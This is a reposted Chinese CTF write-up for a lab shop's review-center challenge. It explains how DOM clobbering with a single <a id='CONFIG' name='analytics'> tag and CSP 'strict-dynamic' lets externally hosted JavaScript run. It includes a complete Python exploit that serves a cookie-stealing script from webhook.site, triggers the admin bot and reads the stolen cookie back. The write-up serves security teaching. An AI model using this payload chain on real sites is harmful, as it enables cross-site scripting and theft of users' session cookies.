乌托邦·王的实验室25——拼少少商城评价中心Writeup

admin 2026-03-03 05:50:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档是针对乌托邦·王实验室第25题的Writeup,核心在于利用DOMClobbering技术配合CSP的strict-dynamic策略绕过。文章详细分析了前端代码中merge函数和initAnalytics的执行逻辑,发现通过注入特定属性的a标签可篡改全局配置。最终利用webhook.site托管恶意JS脚本,诱使Bot访问并动态加载该脚本,成功窃取Cookie中的Flag。复现步骤清晰,提供了完整的Python利用代码。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC


cover_image

乌托邦·王的实验室25——拼少少商城评价中心 Writeup

原创

wenject wenject

船山信安

2026年2月25日 17:42 江苏

踩点

打开靶场,是”拼少少商城”的升级版——评价中心。和上一版的竞态条件不同,这次的核心在前端安全。页面结构和上一版类似:商品列表、余额显示、聊天面板,但多了一个评价功能,每个商品下面可以提交评论,还有一个”举报”按钮会让”王大人”来审查评价区。

右侧聊天面板的对话透露了关键信息:

  • “全局配置解析器好像有点……” → merge 函数有问题
  • “全局合并逻辑” → 指向 merge 函数
  • “没有执行权限的 DOM 节点就只是一具具尸体” → DOM Clobbering
  • “利用那些毫无生气的标签篡改我的意志” → 用 HTML 标签影响 JS 行为

CSP 策略很严格:

default-src 'self'; script-src 'nonce-XXX' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'none';

nonce 每次请求都变,内联脚本没戏。但 strict-dynamic 是关键——它允许受信任脚本动态创建的 <script> 标签加载任意源。

代码审计

/static/script.js 是核心,9016 字节。关键代码链路:

const&nbsp;AppEngine =&nbsp;(() =>&nbsp;{
&nbsp; &nbsp;&nbsp;const&nbsp;defaultSettings = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;version:&nbsp;"4.0.0",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;analytics: {&nbsp;enabled:&nbsp;true,&nbsp;href:&nbsp;"/static/analytics-module.js"&nbsp;}
&nbsp; &nbsp; };

&nbsp; &nbsp;&nbsp;const&nbsp;loadConfig =&nbsp;()&nbsp;=>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;externalConfig =&nbsp;window.CONFIG;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;finalSettings = {};

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;merge =&nbsp;(target, source) =>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;key&nbsp;in&nbsp;source) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(typeof&nbsp;source[key] ===&nbsp;'object'&nbsp;&& source[key] !==&nbsp;null&nbsp;&& !source[key].nodeType) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target[key] = target[key] || {};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; merge(target[key], source[key]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target[key] = source[key];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; };

&nbsp; &nbsp; &nbsp; &nbsp; merge(finalSettings, defaultSettings);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(externalConfig) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(externalConfig.analytics) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalSettings.analyticsUrl = externalConfig.analytics.href;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(e) {}
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;finalSettings;
&nbsp; &nbsp; };

&nbsp; &nbsp;&nbsp;const&nbsp;initAnalytics =&nbsp;(settings) =>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!settings.analyticsUrl && settings.analytics && settings.analytics.enabled) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; settings.analyticsUrl = settings.analytics.href;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(settings.analyticsUrl) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;script =&nbsp;document.createElement('script');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; script.src = settings.analyticsUrl;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;document.body.appendChild(script);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; };

&nbsp; &nbsp;&nbsp;return&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;trackPage:&nbsp;()&nbsp;=>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;settings = loadConfig();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; initAnalytics(settings);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; };
})();

执行流程:loadComments 用 innerHTML 渲染评论 → 调用 AppEngine.trackPage() → loadConfig 读取 window.CONFIG → initAnalytics 动态创建 <script> 标签。

/static/analytics-module.js 返回 404,正常情况下什么都不会发生。但如果能通过 DOM Clobbering 控制 window.CONFIG.analytics.href,就能让 initAnalytics 创建一个 <script src="我们控制的URL">。由于 strict-dynamic,这个动态创建的 script 可以加载任意源——包括跨域。

HTML 过滤器分析

评论内容经过服务端过滤,允许的标签和属性:

  • <a>: id, href, name, target, class(javascript: 在 href 中被过滤,但 data: 保留)
  • <form>: id, name, action, method, class
  • <div><span>: id, class
  • <b><strong><em><i><h1><h6>

所有事件处理器(onclick, onerror 等)全部被过滤。<script><img><iframe><style> 等危险标签也被过滤。

DOM Clobbering 构造

标准的 DOM Clobbering 方式是用 <form id="CONFIG"><a name="analytics" href="URL">,但页面上可能已经有多个 id="CONFIG" 的元素(其他人的测试残留),导致 window.CONFIG 变成 HTMLCollectionHTMLCollection.analytics 找不到 form 内部的 <a>

解决方案是用单个 <a> 标签同时设置 id 和 name

<a&nbsp;id="CONFIG"&nbsp;name="analytics"&nbsp;href="EXTERNAL_JS_URL">x</a>

这样即使有多个 id="CONFIG" 的元素,HTMLCollection.namedItem("analytics") 仍然能通过 name 属性找到这个 <a>.href 返回完整 URL。

外部 JS 托管

strict-dynamic 允许动态 script 加载跨域资源,所以只需要一个返回 application/javascript MIME type 的可控 URL。

用 webhook.site 的 API 创建一个自定义响应端点:

requests.post("https://webhook.site/token", json={
&nbsp; &nbsp;&nbsp;"default_status":&nbsp;200,
&nbsp; &nbsp;&nbsp;"default_content":&nbsp;"JS_PAYLOAD_HERE",
&nbsp; &nbsp;&nbsp;"default_content_type":&nbsp;"application/javascript",
})

返回的 URL 格式为 https://webhook.site/{uuid},Content-Type 是 application/javascript

利用链

  1. 创建 webhook.site endpoint,返回窃取 cookie 的 JS
  2. 在目标商品评论中注入 <a id="CONFIG" name="analytics" href="webhook_url">x</a>
  3. 举报该商品,bot(HeadlessChrome)访问评价页面
  4. loadComments 渲染评论 → DOM Clobbering 生效 → window.CONFIG.analytics.href = webhook URL
  5. initAnalytics 创建 <script src="webhook_url">strict-dynamic 允许加载
  6. JS 执行,读取 document.cookie,通过评论 API 回传
  7. flag 就在 bot 的 cookie 中

完整复现步骤

  1. 访问靶场,获取 session
  2. 调用 webhook.site API 创建返回 JS 的 endpoint
  3. JS 内容:读取 document.cookie 并通过 /api/comments/p5 回传
  4. 在 p6 的评论中提交 DOM Clobbering payload
  5. 举报 p6,等待 bot 访问
  6. 检查 p5 的评论,获取 flag

EXP

"""
拼少少商城评价中心 - EXP
DOM Clobbering + strict-dynamic CSP bypass + 外部 JS 加载
"""
import&nbsp;requests
import&nbsp;time

TARGET =&nbsp;""# 靶机地址

# Step 1: 创建 webhook.site endpoint
JS_PAYLOAD = (
&nbsp; &nbsp;&nbsp;"fetch('/api/comments/p5',{method:'POST',"
&nbsp; &nbsp;&nbsp;"headers:{'Content-Type':'application/json'},"
&nbsp; &nbsp;&nbsp;"body:JSON.stringify({content:'FLAG:'+document.cookie})})"
)

print("[1] Creating webhook.site endpoint...")
r = requests.post("https://webhook.site/token", json={
&nbsp; &nbsp;&nbsp;"default_status":&nbsp;200,
&nbsp; &nbsp;&nbsp;"default_content": JS_PAYLOAD,
&nbsp; &nbsp;&nbsp;"default_content_type":&nbsp;"application/javascript",
}, timeout=15)

if&nbsp;r.status_code&nbsp;notin&nbsp;[200,&nbsp;201]:
&nbsp; &nbsp; print(f"[-] Failed:&nbsp;{r.status_code}")
&nbsp; &nbsp; exit(1)

token = r.json()["uuid"]
webhook_url =&nbsp;f"https://webhook.site/{token}"
print(f"[+] Webhook:&nbsp;{webhook_url}")

# Verify
r2 = requests.get(webhook_url, timeout=10)
assert"javascript"in&nbsp;r2.headers.get("Content-Type",&nbsp;""),&nbsp;"Wrong MIME type"
print(f"[+] Verified:&nbsp;{r2.headers['Content-Type']}")

# Step 2: 获取 session
s = requests.Session()
s.get(TARGET, timeout=15)
print(f"[2] Session ready")

# Step 3: DOM Clobbering payload
payload =&nbsp;f'<a id="CONFIG" name="analytics" href="{webhook_url}">x</a>'
r3 = s.post(f"{TARGET}api/comments/p6", json={"content": payload}, timeout=10)
print(f"[3] Payload submitted:&nbsp;{r3.json()}")

# Step 4: 记录 p5 评论数
p5_before = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
print(f"[4] p5 comments before:&nbsp;{len(p5_before)}")

# Step 5: 举报 p6,触发 bot
r5 = s.post(f"{TARGET}api/report", json={"productId":&nbsp;"p6"}, timeout=10)
print(f"[5] Report:&nbsp;{r5.json()}")

# Step 6: 等待 bot 执行
print("[6] Waiting for bot...")
for&nbsp;i&nbsp;in&nbsp;range(6):
&nbsp; &nbsp; time.sleep(5)
&nbsp; &nbsp; p5_after = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
&nbsp; &nbsp;&nbsp;if&nbsp;len(p5_after) > len(p5_before):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;p5_after[len(p5_before):]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; content = c.get("content",&nbsp;"")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[+]&nbsp;{content}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if"flag"in&nbsp;content.lower():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[+] FLAG FOUND!")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; print(f" &nbsp; &nbsp;...{(i+1)*5}s")
else:
&nbsp; &nbsp; print("[-] Timeout, no new comments")

小结

这题的核心是 DOM Clobbering + CSP strict-dynamic bypass。评论区允许 <a> 标签保留 id/name/href 属性,通过 <a id="CONFIG" name="analytics" href="外部JS"> 覆盖 window.CONFIG,让 AppEngine.trackPage() 中的 initAnalytics 动态创建 <script src="外部JS">strict-dynamic 策略允许受信任脚本动态创建的 script 加载任意源,所以外部 JS 被成功执行。flag 藏在 bot 的 cookie 中,通过 XSS 读取 document.cookie 即可获取。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 wenject wenject《乌托邦·王的实验室25——拼少少商城评价中心 Writeup》

聊聊共享单车 网络安全文章

聊聊共享单车

文章总结: 作者回忆小学时骑行摩拜与ofo的经历,感叹摩拜被美团收购、ofo押金难退及创始人海外开店失利。指出目前上海街头已被哈啰、美团、滴滴青桔占据。文章最后
评论:0   参与:  0